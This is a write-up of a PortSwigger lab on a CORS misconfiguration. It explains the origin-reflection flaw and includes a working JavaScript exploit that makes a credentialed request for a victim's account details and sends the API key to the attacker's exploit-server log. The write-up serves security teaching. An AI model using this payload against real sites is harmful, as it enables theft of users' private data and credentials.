the lab

here is how portswigger describes it

This website has an insecure CORS configuration in that it trusts all origins.

To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator's API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator's API key.

what the cors ?#

normally the same origin policy stops javascript running on one site from reading the responses of another, that is what keeps a random page you open from quietly reading your webmail. cors is the controlled exception to that, a server can send back a header, Access-Control-Allow-Origin naming an origin it is willing to let read its responses. the danger is doing this too generously. if a server simply reflects whatever origin asked straight back into that header, so it effectively says yes to everyone, and it also allows credentials, then any site can send a request to it carrying the victim's cookies and then read the reply. that turns the victim's own logged in session against them, our page reads their private data as though it were them. here the private data is an api key.

step 1 - log in and find the api key#

there is a login so we log in with the provided credentials, and the account page shows an api key, which is the thing we ultimately want to steal from the admin.

Step 2 - Spot the cors endpoint#

looking through the burp history the account page's data comes from a GET /accountDetails request, and its response carries an Access-Control-Allow-Credentials: true header

Access-Control-Allow-Credentials: true is the server saying two things at once, a cross origin request to this endpoint may include the victim's cookies and the response may be read by the origin that asked. credentialed cross origin reads are exactly how private data leaks so seeing this header is the first sign the endpoint might be exploitable if we can also get the server to allow our origin

Step 3 - Confirm the origin is reflected#

so we send the request to repeater and resubmit it with an Origin header of our own

Origin: https://logicbreaker.sh

the response comes back with Access-Control-Allow-Origin set to exactly the origin we sent, https://logicbreaker.sh. that is the whole vulnerability in one line the server does not check our origin against a fixed allowlist, it just echoes back whatever we give it so it will trust our exploit page just as readily.

Step 4 - Build and deliver the exploit#

now we host a page that makes the victim's browser fetch their own account details and hand them to us. here is the script for the exploit server.

<script>
var req = new XMLHttpRequest()
req.onload = reqListener
req.open('get','https://your-lab-id.web-security-academy.net/accountDetails',true)
req.withCredentials = true
req.send()
function reqListener() {
    location='/log?key='+this.responseText
}
</script>

it makes a get request to the accountDetails endpoint, and req.withCredentials = true tells the browser to attach the victim's cookies to it, so the request runs as the logged in victim. because the server reflects our origin and allows credentials, the browser lets our page read the response instead of blocking it. when the response arrives, reqListener runs and sends the whole thing, the api key included, to our own /log endpoint by tacking it onto the url, so it lands in the exploit server's access log. store it and deliver it to the victim.

Step 5 - Read the key from the logs and submit it#

over in the exploit server's access log, there is a request to /log?key= followed by the victim's account details and the admin's api key is right there in it.

pull the key out and submit it

with this, the lab is solved!